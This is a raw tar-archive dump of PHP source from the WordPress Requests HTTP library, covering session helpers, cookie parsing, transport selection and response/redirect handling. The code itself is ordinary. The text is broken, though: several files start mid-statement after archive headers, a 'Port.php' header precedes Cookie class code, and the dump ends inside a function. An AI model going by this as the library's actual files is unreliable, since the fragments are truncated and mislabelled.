/**#@-*/
/**#@+
* @see \WpOrg\Requests\Session::request()
* @param string $url
* @param array $headers
* @param array $data
* @param array $options
* @return \WpOrg\Requests\Response
*/
/**
* Send a POST request
*/
public function post($url, $headers = [], $data = [], $options = []) {
return $this->request($url, $headers, $data, Requests::POST, $options);
}
/**
* Send a PUT request
*/
public function put($url, $headers = [], $data = [], $options = []) {
return $this->request($url, $headers, $data, Requests::PUT, $options);
}
/**
* Send a PATCH request
*
* Note: Unlike {@see \WpOrg\Requests\Session::post()} and {@see \WpOrg\Requests\Session::put()},
* `$headers` is required, as the specification recommends that should send an ETag
*
* @link https://tools.ietf.org/html/rfc5789
*/
public function patch($url, $headers, $data = [], $options = []) {
return $this->request($url, $headers, $data, Requests::PATCH, $options);
}
/**#@-*/
/**
* Main interface for HTTP requests
*
* This method initiates a request and sends it via a transport before
* parsing.
*
* @see \WpOrg\Requests\Requests::request()
*
* @param string $url URL to request
* @param array $headers Extra headers to send with the request
* @param array|null $data Data to send either as a query string for GET/HEAD requests, or in the body for POST requests
* @param string $type HTTP request type (use \WpOrg\Requests\Requests constants)
* @param array $options Options for the request (see {@see \WpOrg\Requests\Requests::request()})
* @return \WpOrg\Requests\Response
*
* @throws \WpOrg\Requests\Exception On invalid URLs (`nonhttp`)
*/
public function request($url, $headers = [], $data = [], $type = Requests::GET, $options = []) {
$request = $this->merge_request(compact('url', 'headers', 'data', 'options'));
return Requests::request($request['url'], $request['headers'], $request['data'], $type, $request['options']);
}
/**
* Send multiple HTTP requests simultaneously
*
* @see \WpOrg\Requests\Requests::request_multiple()
*
* @param array $requests Requests data (see {@see \WpOrg\Requests\Requests::request_multiple()})
* @param array $options Global and default options (see {@see \WpOrg\Requests\Requests::request()})
* @return array Responses (either \WpOrg\Requests\Response or a \WpOrg\Requests\Exception object)
*
* @throws \WpOrg\Requests\Exception\InvalidArgument When the passed $requests argument is not an array or iterable object with array access.
* @throws \WpOrg\Requests\Exception\InvalidArgument When the passed $options argument is not an array.
*/
public function request_multiple($requests, $options = []) {
if (InputValidator::has_array_access($requests) === false || InputValidator::is_iterable($requests) === false) {
throw InvalidArgument::create(1, '$requests', 'array|ArrayAccess&Traversable', gettype($requests));
}
if (is_array($options) === false) {
throw InvalidArgument::create(2, '$options', 'array', gettype($options));
}
foreach ($requests as $key => $request) {
$requests[$key] = $this->merge_request($request, false);
}
$options = array_merge($this->options, $options);
// Disallow forcing the type, as that's a per request setting
unset($options['type']);
return Requests::request_multiple($requests, $options);
}
public function __wakeup() {
throw new \LogicException( __CLASS__ . ' should never be unserialized' );
}
/**
* Merge a request's data with the default data
*
* @param array $request Request data (same form as {@see \WpOrg\Requests\Session::request_multiple()})
* @param boolean $merge_options Should we merge options as well?
* @return array Request data
*/
protected function merge_request($request, $merge_options = true) {
if ($this->url !== null) {
$request['url'] = Iri::absolutize($this->url, $request['url']);
$request['url'] = $request['url']->uri;
}
if (empty($request['headers'])) {
$request['headers'] = [];
}
$request['headers'] = array_merge($this->headers, $request['headers']);
if (empty($request['data'])) {
if (is_array($this->data)) {
$request['data'] = $this->data;
}
} elseif (is_array($request['data']) && is_array($this->data)) {
$request['data'] = array_merge($this->data, $request['data']);
}
if ($merge_options === true) {
$request['options'] = array_merge($this->options, $request['options']);
// Disallow forcing the type, as that's a per request setting
unset($request['options']['type']);
}
return $request;
}
}
Transport.php 0000644 00000003010 15207614116 0007246 0 ustar 00 $capabilities Optional. Associative array of capabilities to test against, i.e. `['' => true]`.
* @return bool Whether the transport can be used.
*/
public static function test($capabilities = []);
}
Port.php 0000644 00000002741 15207614116 0006210 0 ustar 00 name = $name;
$this->value = $value;
$this->attributes = $attributes;
$default_flags = [
'creation' => time(),
'last-access' => time(),
'persistent' => false,
'host-only' => true,
];
$this->flags = array_merge($default_flags, $flags);
$this->reference_time = time();
if ($reference_time !== null) {
$this->reference_time = $reference_time;
}
$this->normalize();
}
/**
* Get the cookie value
*
* Attributes and other data can be accessed via methods.
*/
public function __toString() {
return $this->value;
}
/**
* Check if a cookie is expired.
*
* Checks the age against $this->reference_time to determine if the cookie
* is expired.
*
* @return boolean True if expired, false if time is valid.
*/
public function is_expired() {
// RFC6265, s. 4.1.2.2:
// If a cookie has both the Max-Age and the Expires attribute, the Max-
// Age attribute has precedence and controls the expiration date of the
// cookie.
if (isset($this->attributes['max-age'])) {
$max_age = $this->attributes['max-age'];
return $max_age < $this->reference_time;
}
if (isset($this->attributes['expires'])) {
$expires = $this->attributes['expires'];
return $expires < $this->reference_time;
}
return false;
}
/**
* Check if a cookie is valid for a given URI
*
* @param \WpOrg\Requests\Iri $uri URI to check
* @return boolean Whether the cookie is valid for the given URI
*/
public function uri_matches(Iri $uri) {
if (!$this->domain_matches($uri->host)) {
return false;
}
if (!$this->path_matches($uri->path)) {
return false;
}
return empty($this->attributes['secure']) || $uri->scheme === 'https';
}
/**
* Check if a cookie is valid for a given domain
*
* @param string $domain Domain to check
* @return boolean Whether the cookie is valid for the given domain
*/
public function domain_matches($domain) {
if (is_string($domain) === false) {
return false;
}
if (!isset($this->attributes['domain'])) {
// Cookies created manually; cookies created by Requests will set
// the domain to the requested domain
return true;
}
$cookie_domain = $this->attributes['domain'];
if ($cookie_domain === $domain) {
// The cookie domain and the passed domain are identical.
return true;
}
// If the cookie is marked as host-only and we don't have an exact
// match, reject the cookie
if ($this->flags['host-only'] === true) {
return false;
}
if (strlen($domain) <= strlen($cookie_domain)) {
// For obvious reasons, the cookie domain cannot be a suffix if the passed domain
// is shorter than the cookie domain
return false;
}
if (substr($domain, -1 * strlen($cookie_domain)) !== $cookie_domain) {
// The cookie domain should be a suffix of the passed domain.
return false;
}
$prefix = substr($domain, 0, strlen($domain) - strlen($cookie_domain));
if (substr($prefix, -1) !== '.') {
// The last character of the passed domain that is not included in the
// domain string should be a %x2E (".") character.
return false;
}
// The passed domain should be a host name (i.e., not an IP address).
return !preg_match('#^(.+\.)\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$#', $domain);
}
/**
* Check if a cookie is valid for a given path
*
* From the path-match check in RFC 6265 section 5.1.4
*
* @param string $request_path Path to check
* @return boolean Whether the cookie is valid for the given path
*/
public function path_matches($request_path) {
if (empty($request_path)) {
// Normalize empty path to root
$request_path = '/';
}
if (!isset($this->attributes['path'])) {
// Cookies created manually; cookies created by Requests will set
// the path to the requested path
return true;
}
if (is_scalar($request_path) === false) {
return false;
}
$cookie_path = $this->attributes['path'];
if ($cookie_path === $request_path) {
// The cookie-path and the request-path are identical.
return true;
}
if (strlen($request_path) > strlen($cookie_path) && substr($request_path, 0, strlen($cookie_path)) === $cookie_path) {
if (substr($cookie_path, -1) === '/') {
// The cookie-path is a prefix of the request-path, and the last
// character of the cookie-path is %x2F ("/").
return true;
}
if (substr($request_path, strlen($cookie_path), 1) === '/') {
// The cookie-path is a prefix of the request-path, and the
// first character of the request-path that is not included in
// the cookie-path is a %x2F ("/") character.
return true;
}
}
return false;
}
/**
* Normalize cookie and attributes
*
* @return boolean Whether the cookie was successfully normalized
*/
public function normalize() {
foreach ($this->attributes as $key => $value) {
$orig_value = $value;
if (is_string($key)) {
$value = $this->normalize_attribute($key, $value);
}
if ($value === null) {
unset($this->attributes[$key]);
continue;
}
if ($value !== $orig_value) {
$this->attributes[$key] = $value;
}
}
return true;
}
/**
* Parse an individual cookie attribute
*
* Handles parsing individual attributes from the cookie values.
*
* @param string $name Attribute name
* @param string|int|bool $value Attribute value (string/integer value, or true if empty/flag)
* @return mixed Value if available, or null if the attribute value is invalid (and should be skipped)
*/
protected function normalize_attribute($name, $value) {
switch (strtolower($name)) {
case 'expires':
// Expiration parsing, as per RFC 6265 section 5.2.1
if (is_int($value)) {
return $value;
}
$expiry_time = strtotime($value);
if ($expiry_time === false) {
return null;
}
return $expiry_time;
case 'max-age':
// Expiration parsing, as per RFC 6265 section 5.2.2
if (is_int($value)) {
return $value;
}
// Check that we have a valid age
if (!preg_match('/^-?\d+$/', $value)) {
return null;
}
$delta_seconds = (int) $value;
if ($delta_seconds <= 0) {
$expiry_time = 0;
} else {
$expiry_time = $this->reference_time + $delta_seconds;
}
return $expiry_time;
case 'domain':
// Domains are not required as per RFC 6265 section 5.2.3
if (empty($value)) {
return null;
}
// Domain normalization, as per RFC 6265 section 5.2.3
if ($value[0] === '.') {
$value = substr($value, 1);
}
return $value;
default:
return $value;
}
}
/**
* Format a cookie for a Cookie header
*
* This is used when sending cookies to a server.
*
* @return string Cookie formatted for Cookie header
*/
public function format_for_header() {
return sprintf('%s=%s', $this->name, $this->value);
}
/**
* Format a cookie for a Set-Cookie header
*
* This is used when sending cookies to clients. This isn't really
* applicable to client-side usage, but might be handy for debugging.
*
* @return string Cookie formatted for Set-Cookie header
*/
public function format_for_set_cookie() {
$header_value = $this->format_for_header();
if (!empty($this->attributes)) {
$parts = [];
foreach ($this->attributes as $key => $value) {
// Ignore non-associative attributes
if (is_numeric($key)) {
$parts[] = $value;
} else {
$parts[] = sprintf('%s=%s', $key, $value);
}
}
$header_value .= '; ' . implode('; ', $parts);
}
return $header_value;
}
/**
* Parse a cookie string into a cookie object
*
* Based on Mozilla's parsing code in Firefox and related projects, which
* is an intentional deviation from RFC 2109 and RFC 2616. RFC 6265
* specifies some of this handling, but not in a thorough manner.
*
* @param string $cookie_header Cookie header value (from a Set-Cookie header)
* @param string $name
* @param int|null $reference_time
* @return \WpOrg\Requests\Cookie Parsed cookie object
*
* @throws \WpOrg\Requests\Exception\InvalidArgument When the passed $cookie_header argument is not a string.
* @throws \WpOrg\Requests\Exception\InvalidArgument When the passed $name argument is not a string.
*/
public static function parse($cookie_header, $name = '', $reference_time = null) {
if (is_string($cookie_header) === false) {
throw InvalidArgument::create(1, '$cookie_header', 'string', gettype($cookie_header));
}
if (is_string($name) === false) {
throw InvalidArgument::create(2, '$name', 'string', gettype($name));
}
$parts = explode(';', $cookie_header);
$kvparts = array_shift($parts);
if (!empty($name)) {
$value = $cookie_header;
} elseif (strpos($kvparts, '=') === false) {
// Some sites might only have a value without the equals separator.
// Deviate from RFC 6265 and pretend it was actually a blank name
// (`=foo`)
//
// https://bugzilla.mozilla.org/show_bug.cgi?id=169091
$name = '';
$value = $kvparts;
} else {
list($name, $value) = explode('=', $kvparts, 2);
}
$name = trim($name);
$value = trim($value);
// Attribute keys are handled case-insensitively
$attributes = new CaseInsensitiveDictionary();
if (!empty($parts)) {
foreach ($parts as $part) {
if (strpos($part, '=') === false) {
$part_key = $part;
$part_value = true;
} else {
list($part_key, $part_value) = explode('=', $part, 2);
$part_value = trim($part_value);
}
$part_key = trim($part_key);
$attributes[$part_key] = $part_value;
}
}
return new static($name, $value, $attributes, [], $reference_time);
}
/**
* Parse all Set-Cookie headers from request headers
*
* @param \WpOrg\Requests\Response\Headers $headers Headers to parse from
* @param \WpOrg\Requests\Iri|null $origin URI for comparing cookie origins
* @param int|null $time Reference time for expiration calculation
* @return array
*
* @throws \WpOrg\Requests\Exception\InvalidArgument When the passed $origin argument is not null or an instance of the Iri class.
*/
public static function parse_from_headers(Headers $headers, $origin = null, $time = null) {
$cookie_headers = $headers->getValues('Set-Cookie');
if (empty($cookie_headers)) {
return [];
}
if ($origin !== null && !($origin instanceof Iri)) {
throw InvalidArgument::create(2, '$origin', Iri::class . ' or null', gettype($origin));
}
$cookies = [];
foreach ($cookie_headers as $header) {
$parsed = self::parse($header, '', $time);
// Default domain/path attributes
if (empty($parsed->attributes['domain']) && !empty($origin)) {
$parsed->attributes['domain'] = $origin->host;
$parsed->flags['host-only'] = true;
} else {
$parsed->flags['host-only'] = false;
}
$path_is_valid = (!empty($parsed->attributes['path']) && $parsed->attributes['path'][0] === '/');
if (!$path_is_valid && !empty($origin)) {
$path = $origin->path;
// Default path normalization as per RFC 6265 section 5.1.4
if (substr($path, 0, 1) !== '/') {
// If the uri-path is empty or if the first character of
// the uri-path is not a %x2F ("/") character, output
// %x2F ("/") and skip the remaining steps.
$path = '/';
} elseif (substr_count($path, '/') === 1) {
// If the uri-path contains no more than one %x2F ("/")
// character, output %x2F ("/") and skip the remaining
// step.
$path = '/';
} else {
// Output the characters of the uri-path from the first
// character up to, but not including, the right-most
// %x2F ("/").
$path = substr($path, 0, strrpos($path, '/'));
}
$parsed->attributes['path'] = $path;
}
// Reject invalid cookie domains
if (!empty($origin) && !$parsed->domain_matches($origin->host)) {
continue;
}
$cookies[$parsed->name] = $parsed;
}
return $cookies;
}
}
Requests.php 0000644 00000102321 15207614116 0007072 0 ustar 00 10,
'connect_timeout' => 10,
'useragent' => 'php-requests/' . self::VERSION,
'protocol_version' => 1.1,
'redirected' => 0,
'redirects' => 10,
'follow_redirects' => true,
'blocking' => true,
'type' => self::GET,
'filename' => false,
'auth' => false,
'proxy' => false,
'cookies' => false,
'max_bytes' => false,
'idn' => true,
'hooks' => null,
'transport' => null,
'verify' => null,
'verifyname' => true,
];
/**
* Default supported Transport classes.
*
* @since 2.0.0
*
* @var array
*/
const DEFAULT_TRANSPORTS = [
Curl::class => Curl::class,
Fsockopen::class => Fsockopen::class,
];
/**
* Current version of Requests
*
* @var string
*/
const VERSION = '2.0.11';
/**
* Selected transport name
*
* Use {@see \WpOrg\Requests\Requests::get_transport()} instead
*
* @var array
*/
public static $transport = [];
/**
* Registered transport classes
*
* @var array
*/
protected static $transports = [];
/**
* Default certificate path.
*
* @see \WpOrg\Requests\Requests::get_certificate_path()
* @see \WpOrg\Requests\Requests::set_certificate_path()
*
* @var string
*/
protected static $certificate_path = __DIR__ . '/../certificates/cacert.pem';
/**
* All (known) valid deflate, gzip header magic markers.
*
* These markers relate to different compression levels.
*
* @link https://stackoverflow.com/a/43170354/482864 Marker source.
*
* @since 2.0.0
*
* @var array
*/
private static $magic_compression_headers = [
"\x1f\x8b" => true, // Gzip marker.
"\x78\x01" => true, // Zlib marker - level 1.
"\x78\x5e" => true, // Zlib marker - level 2 to 5.
"\x78\x9c" => true, // Zlib marker - level 6.
"\x78\xda" => true, // Zlib marker - level 7 to 9.
];
/**
* This is a static class, do not instantiate it
*
* @codeCoverageIgnore
*/
private function __construct() {}
/**
* Register a transport
*
* @param string $transport Transport class to add, must support the \WpOrg\Requests\Transport interface
*/
public static function add_transport($transport) {
if (empty(self::$transports)) {
self::$transports = self::DEFAULT_TRANSPORTS;
}
self::$transports[$transport] = $transport;
}
/**
* Get the fully qualified class name (FQCN) for a working transport.
*
* @param array $capabilities Optional. Associative array of capabilities to test against, i.e. `['' => true]`.
* @return string FQCN of the transport to use, or an empty string if no transport was
* found which provided the requested capabilities.
*/
protected static function get_transport_class(array $capabilities = []) {
// Caching code, don't bother testing coverage.
// @codeCoverageIgnoreStart
// Array of capabilities as a string to be used as an array key.
ksort($capabilities);
$cap_string = serialize($capabilities);
// Don't search for a transport if it's already been done for these $capabilities.
if (isset(self::$transport[$cap_string])) {
return self::$transport[$cap_string];
}
// Ensure we will not run this same check again later on.
self::$transport[$cap_string] = '';
// @codeCoverageIgnoreEnd
if (empty(self::$transports)) {
self::$transports = self::DEFAULT_TRANSPORTS;
}
// Find us a working transport.
foreach (self::$transports as $class) {
if (!class_exists($class)) {
continue;
}
$result = $class::test($capabilities);
if ($result === true) {
self::$transport[$cap_string] = $class;
break;
}
}
return self::$transport[$cap_string];
}
/**
* Get a working transport.
*
* @param array $capabilities Optional. Associative array of capabilities to test against, i.e. `['' => true]`.
* @return \WpOrg\Requests\Transport
* @throws \WpOrg\Requests\Exception If no valid transport is found (`notransport`).
*/
protected static function get_transport(array $capabilities = []) {
$class = self::get_transport_class($capabilities);
if ($class === '') {
throw new Exception('No working transports found', 'notransport', self::$transports);
}
return new $class();
}
/**
* Checks to see if we have a transport for the capabilities requested.
*
* Supported capabilities can be found in the {@see \WpOrg\Requests\Capability}
* interface as constants.
*
* Example usage:
* `Requests::has_capabilities([Capability::SSL => true])`.
*
* @param array $capabilities Optional. Associative array of capabilities to test against, i.e. `['' => true]`.
* @return bool Whether the transport has the requested capabilities.
*/
public static function has_capabilities(array $capabilities = []) {
return self::get_transport_class($capabilities) !== '';
}
/**#@+
* @see \WpOrg\Requests\Requests::request()
* @param string $url
* @param array $headers
* @param array $options
* @return \WpOrg\Requests\Response
*/
/**
* Send a GET request
*/
public static function get($url, $headers = [], $options = []) {
return self::request($url, $headers, null, self::GET, $options);
}
/**
* Send a HEAD request
*/
public static function head($url, $headers = [], $options = []) {
return self::request($url, $headers, null, self::HEAD, $options);
}
/**
* Send a DELETE request
*/
public static function delete($url, $headers = [], $options = []) {
return self::request($url, $headers, null, self::DELETE, $options);
}
/**
* Send a TRACE request
*/
public static function trace($url, $headers = [], $options = []) {
return self::request($url, $headers, null, self::TRACE, $options);
}
/**#@-*/
/**#@+
* @see \WpOrg\Requests\Requests::request()
* @param string $url
* @param array $headers
* @param array $data
* @param array $options
* @return \WpOrg\Requests\Response
*/
/**
* Send a POST request
*/
public static function post($url, $headers = [], $data = [], $options = []) {
return self::request($url, $headers, $data, self::POST, $options);
}
/**
* Send a PUT request
*/
public static function put($url, $headers = [], $data = [], $options = []) {
return self::request($url, $headers, $data, self::PUT, $options);
}
/**
* Send an OPTIONS request
*/
public static function options($url, $headers = [], $data = [], $options = []) {
return self::request($url, $headers, $data, self::OPTIONS, $options);
}
/**
* Send a PATCH request
*
* Note: Unlike {@see \WpOrg\Requests\Requests::post()} and {@see \WpOrg\Requests\Requests::put()},
* `$headers` is required, as the specification recommends that should send an ETag
*
* @link https://tools.ietf.org/html/rfc5789
*/
public static function patch($url, $headers, $data = [], $options = []) {
return self::request($url, $headers, $data, self::PATCH, $options);
}
/**#@-*/
/**
* Main interface for HTTP requests
*
* This method initiates a request and sends it via a transport before
* parsing.
*
* The `$options` parameter takes an associative array with the following
* options:
*
* - `timeout`: How long should we wait for a response?
* Note: for cURL, a minimum of 1 second applies, as DNS resolution
* operates at second-resolution only.
* (float, seconds with a millisecond precision, default: 10, example: 0.01)
* - `connect_timeout`: How long should we wait while trying to connect?
* (float, seconds with a millisecond precision, default: 10, example: 0.01)
* - `useragent`: Useragent to send to the server
* (string, default: php-requests/$version)
* - `follow_redirects`: Should we follow 3xx redirects?
* (boolean, default: true)
* - `redirects`: How many times should we redirect before erroring?
* (integer, default: 10)
* - `blocking`: Should we block processing on this request?
* (boolean, default: true)
* - `filename`: File to stream the body to instead.
* (string|boolean, default: false)
* - `auth`: Authentication handler or array of user/password details to use
* for Basic authentication
* (\WpOrg\Requests\Auth|array|boolean, default: false)
* - `proxy`: Proxy details to use for proxy by-passing and authentication
* (\WpOrg\Requests\Proxy|array|string|boolean, default: false)
* - `max_bytes`: Limit for the response body size.
* (integer|boolean, default: false)
* - `idn`: Enable IDN parsing
* (boolean, default: true)
* - `transport`: Custom transport. Either a class name, or a
* transport object. Defaults to the first working transport from
* {@see \WpOrg\Requests\Requests::getTransport()}
* (string|\WpOrg\Requests\Transport, default: {@see \WpOrg\Requests\Requests::getTransport()})
* - `hooks`: Hooks handler.
* (\WpOrg\Requests\HookManager, default: new WpOrg\Requests\Hooks())
* - `verify`: Should we verify SSL certificates? Allows passing in a custom
* certificate file as a string. (Using true uses the system-wide root
* certificate store instead, but this may have different behaviour
* across transports.)
* (string|boolean, default: certificates/cacert.pem)
* - `verifyname`: Should we verify the common name in the SSL certificate?
* (boolean, default: true)
* - `data_format`: How should we send the `$data` parameter?
* (string, one of 'query' or 'body', default: 'query' for
* HEAD/GET/DELETE, 'body' for POST/PUT/OPTIONS/PATCH)
*
* @param string|Stringable $url URL to request
* @param array $headers Extra headers to send with the request
* @param array|null $data Data to send either as a query string for GET/HEAD requests, or in the body for POST requests
* @param string $type HTTP request type (use Requests constants)
* @param array $options Options for the request (see description for more information)
* @return \WpOrg\Requests\Response
*
* @throws \WpOrg\Requests\Exception\InvalidArgument When the passed $url argument is not a string or Stringable.
* @throws \WpOrg\Requests\Exception\InvalidArgument When the passed $type argument is not a string.
* @throws \WpOrg\Requests\Exception\InvalidArgument When the passed $options argument is not an array.
* @throws \WpOrg\Requests\Exception On invalid URLs (`nonhttp`)
*/
public static function request($url, $headers = [], $data = [], $type = self::GET, $options = []) {
if (InputValidator::is_string_or_stringable($url) === false) {
throw InvalidArgument::create(1, '$url', 'string|Stringable', gettype($url));
}
if (is_string($type) === false) {
throw InvalidArgument::create(4, '$type', 'string', gettype($type));
}
if (is_array($options) === false) {
throw InvalidArgument::create(5, '$options', 'array', gettype($options));
}
if (empty($options['type'])) {
$options['type'] = $type;
}
$options = array_merge(self::get_default_options(), $options);
self::set_defaults($url, $headers, $data, $type, $options);
$options['hooks']->dispatch('requests.before_request', [&$url, &$headers, &$data, &$type, &$options]);
if (!empty($options['transport'])) {
$transport = $options['transport'];
if (is_string($options['transport'])) {
$transport = new $transport();
}
} else {
$need_ssl = (stripos($url, 'https://') === 0);
$capabilities = [Capability::SSL => $need_ssl];
$transport = self::get_transport($capabilities);
}
$response = $transport->request($url, $headers, $data, $options);
$options['hooks']->dispatch('requests.before_parse', [&$response, $url, $headers, $data, $type, $options]);
return self::parse_response($response, $url, $headers, $data, $options);
}
/**
* Send multiple HTTP requests simultaneously
*
* The `$requests` parameter takes an associative or indexed array of
* request fields. The key of each request can be used to match up the
* request with the returned data, or with the request passed into your
* `multiple.request.complete` callback.
*
* The request fields value is an associative array with the following keys:
*
* - `url`: Request URL Same as the `$url` parameter to
* {@see \WpOrg\Requests\Requests::request()}
* (string, required)
* - `headers`: Associative array of header fields. Same as the `$headers`
* parameter to {@see \WpOrg\Requests\Requests::request()}
* (array, default: `array()`)
* - `data`: Associative array of data fields or a string. Same as the
* `$data` parameter to {@see \WpOrg\Requests\Requests::request()}
* (array|string, default: `array()`)
* - `type`: HTTP request type (use \WpOrg\Requests\Requests constants). Same as the `$type`
* parameter to {@see \WpOrg\Requests\Requests::request()}
* (string, default: `\WpOrg\Requests\Requests::GET`)
* - `cookies`: Associative array of cookie name to value, or cookie jar.
* (array|\WpOrg\Requests\Cookie\Jar)
*
* If the `$options` parameter is specified, individual requests will
* inherit options from it. This can be used to use a single hooking system,
* or set all the types to `\WpOrg\Requests\Requests::POST`, for example.
*
* In addition, the `$options` parameter takes the following global options:
*
* - `complete`: A callback for when a request is complete. Takes two
* parameters, a \WpOrg\Requests\Response/\WpOrg\Requests\Exception reference, and the
* ID from the request array (Note: this can also be overridden on a
* per-request basis, although that's a little silly)
* (callback)
*
* @param array $requests Requests data (see description for more information)
* @param array $options Global and default options (see {@see \WpOrg\Requests\Requests::request()})
* @return array Responses (either \WpOrg\Requests\Response or a \WpOrg\Requests\Exception object)
*
* @throws \WpOrg\Requests\Exception\InvalidArgument When the passed $requests argument is not an array or iterable object with array access.
* @throws \WpOrg\Requests\Exception\InvalidArgument When the passed $options argument is not an array.
*/
public static function request_multiple($requests, $options = []) {
if (InputValidator::has_array_access($requests) === false || InputValidator::is_iterable($requests) === false) {
throw InvalidArgument::create(1, '$requests', 'array|ArrayAccess&Traversable', gettype($requests));
}
if (is_array($options) === false) {
throw InvalidArgument::create(2, '$options', 'array', gettype($options));
}
$options = array_merge(self::get_default_options(true), $options);
if (!empty($options['hooks'])) {
$options['hooks']->register('transport.internal.parse_response', [static::class, 'parse_multiple']);
if (!empty($options['complete'])) {
$options['hooks']->register('multiple.request.complete', $options['complete']);
}
}
foreach ($requests as $id => &$request) {
if (!isset($request['headers'])) {
$request['headers'] = [];
}
if (!isset($request['data'])) {
$request['data'] = [];
}
if (!isset($request['type'])) {
$request['type'] = self::GET;
}
if (!isset($request['options'])) {
$request['options'] = $options;
$request['options']['type'] = $request['type'];
} else {
if (empty($request['options']['type'])) {
$request['options']['type'] = $request['type'];
}
$request['options'] = array_merge($options, $request['options']);
}
self::set_defaults($request['url'], $request['headers'], $request['data'], $request['type'], $request['options']);
// Ensure we only hook in once
if ($request['options']['hooks'] !== $options['hooks']) {
$request['options']['hooks']->register('transport.internal.parse_response', [static::class, 'parse_multiple']);
if (!empty($request['options']['complete'])) {
$request['options']['hooks']->register('multiple.request.complete', $request['options']['complete']);
}
}
}
unset($request);
if (!empty($options['transport'])) {
$transport = $options['transport'];
if (is_string($options['transport'])) {
$transport = new $transport();
}
} else {
$transport = self::get_transport();
}
$responses = $transport->request_multiple($requests, $options);
foreach ($responses as $id => &$response) {
// If our hook got messed with somehow, ensure we end up with the
// correct response
if (is_string($response)) {
$request = $requests[$id];
self::parse_multiple($response, $request);
$request['options']['hooks']->dispatch('multiple.request.complete', [&$response, $id]);
}
}
return $responses;
}
/**
* Get the default options
*
* @see \WpOrg\Requests\Requests::request() for values returned by this method
* @param boolean $multirequest Is this a multirequest?
* @return array Default option values
*/
protected static function get_default_options($multirequest = false) {
$defaults = static::OPTION_DEFAULTS;
$defaults['verify'] = self::$certificate_path;
if ($multirequest !== false) {
$defaults['complete'] = null;
}
return $defaults;
}
/**
* Get default certificate path.
*
* @return string Default certificate path.
*/
public static function get_certificate_path() {
return self::$certificate_path;
}
/**
* Set default certificate path.
*
* @param string|Stringable|bool $path Certificate path, pointing to a PEM file.
*
* @throws \WpOrg\Requests\Exception\InvalidArgument When the passed $url argument is not a string, Stringable or boolean.
*/
public static function set_certificate_path($path) {
if (InputValidator::is_string_or_stringable($path) === false && is_bool($path) === false) {
throw InvalidArgument::create(1, '$path', 'string|Stringable|bool', gettype($path));
}
self::$certificate_path = $path;
}
/**
* Set the default values
*
* The $options parameter is updated with the results.
*
* @param string $url URL to request
* @param array $headers Extra headers to send with the request
* @param array|null $data Data to send either as a query string for GET/HEAD requests, or in the body for POST requests
* @param string $type HTTP request type
* @param array $options Options for the request
* @return void
*
* @throws \WpOrg\Requests\Exception When the $url is not an http(s) URL.
*/
protected static function set_defaults(&$url, &$headers, &$data, &$type, &$options) {
if (!preg_match('/^http(s)?:\/\//i', $url, $matches)) {
throw new Exception('Only HTTP(S) requests are handled.', 'nonhttp', $url);
}
if (empty($options['hooks'])) {
$options['hooks'] = new Hooks();
}
if (is_array($options['auth'])) {
$options['auth'] = new Basic($options['auth']);
}
if ($options['auth'] !== false) {
$options['auth']->register($options['hooks']);
}
if (is_string($options['proxy']) || is_array($options['proxy'])) {
$options['proxy'] = new Http($options['proxy']);
}
if ($options['proxy'] !== false) {
$options['proxy']->register($options['hooks']);
}
if (is_array($options['cookies'])) {
$options['cookies'] = new Jar($options['cookies']);
} elseif (empty($options['cookies'])) {
$options['cookies'] = new Jar();
}
if ($options['cookies'] !== false) {
$options['cookies']->register($options['hooks']);
}
if ($options['idn'] !== false) {
$iri = new Iri($url);
$iri->host = IdnaEncoder::encode($iri->ihost);
$url = $iri->uri;
}
// Massage the type to ensure we support it.
$type = strtoupper($type);
if (!isset($options['data_format'])) {
if (in_array($type, [self::HEAD, self::GET, self::DELETE], true)) {
$options['data_format'] = 'query';
} else {
$options['data_format'] = 'body';
}
}
}
/**
* HTTP response parser
*
* @param string $headers Full response text including headers and body
* @param string $url Original request URL
* @param array $req_headers Original $headers array passed to {@link request()}, in case we need to follow redirects
* @param array $req_data Original $data array passed to {@link request()}, in case we need to follow redirects
* @param array $options Original $options array passed to {@link request()}, in case we need to follow redirects
* @return \WpOrg\Requests\Response
*
* @throws \WpOrg\Requests\Exception On missing head/body separator (`requests.no_crlf_separator`)
* @throws \WpOrg\Requests\Exception On missing head/body separator (`noversion`)
* @throws \WpOrg\Requests\Exception On missing head/body separator (`toomanyredirects`)
*/
protected static function parse_response($headers, $url, $req_headers, $req_data, $options) {
$return = new Response();
if (!$options['blocking']) {
return $return;
}
$return->raw = $headers;
$return->url = (string) $url;
$return->body = '';
if (!$options['filename']) {
$pos = strpos($headers, "\r\n\r\n");
if ($pos === false) {
// Crap!
throw new Exception('Missing header/body separator', 'requests.no_crlf_separator');
}
$headers = substr($return->raw, 0, $pos);
// Headers will always be separated from the body by two new lines - `\n\r\n\r`.
$body = substr($return->raw, $pos + 4);
if (!empty($body)) {
$return->body = $body;
}
}
// Pretend CRLF = LF for compatibility (RFC 2616, section 19.3)
$headers = str_replace("\r\n", "\n", $headers);
// Unfold headers (replace [CRLF] 1*( SP | HT ) with SP) as per RFC 2616 (section 2.2)
$headers = preg_replace('/\n[ \t]/', ' ', $headers);
$headers = explode("\n", $headers);
preg_match('#^HTTP/(1\.\d)[ \t]+(\d+)#i', array_shift($headers), $matches);
if (empty($matches)) {
throw new Exception('Response could not be parsed', 'noversion', $headers);
}
$return->protocol_version = (float) $matches[1];
$return->status_code = (int) $matches[2];
if ($return->status_code >= 200 && $return->status_code < 300) {
$return->success = true;
}
foreach ($headers as $header) {
list($key, $value) = explode(':', $header, 2);
$value = trim($value);
preg_replace('#(\s+)#i', ' ', $value);
$return->headers[$key] = $value;
}
if (isset($return->headers['transfer-encoding'])) {
$return->body = self::decode_chunked($return->body);
unset($return->headers['transfer-encoding']);
}
if (isset($return->headers['content-encoding'])) {
$return->body = self::decompress($return->body);
}
//fsockopen and cURL compatibility
if (isset($return->headers['connection'])) {
unset($return->headers['connection']);
}
$options['hooks']->dispatch('requests.before_redirect_check', [&$return, $req_headers, $req_data, $options]);
if ($return->is_redirect() && $options['follow_redirects'] === true) {
if (isset($return->headers['location']) && $options['redirected'] < $options['redirects']) {
if ($return->status_code === 303) {
$options['type'] = self::GET;
}
$options['redirected']++;
$location = $return->headers['location'];
if (strpos($location, 'http://') !== 0 && strpos($location, 'https://') !== 0) {
// relative redirect, for compatibility make it absolute
$location = Iri::absolutize($url, $location);
$location = $location->uri;
}
$hook_args = [
&$location,
&$req_headers,
&$req_data,
&$options,
$return,
];
$options['hooks']->dispatch('requests.before_redirect', $hook_args);
$redirected = self::request($location, $req_headers, $req_data, $options['type'], $options);
$redirected->history[] = $return;
return $redirected;
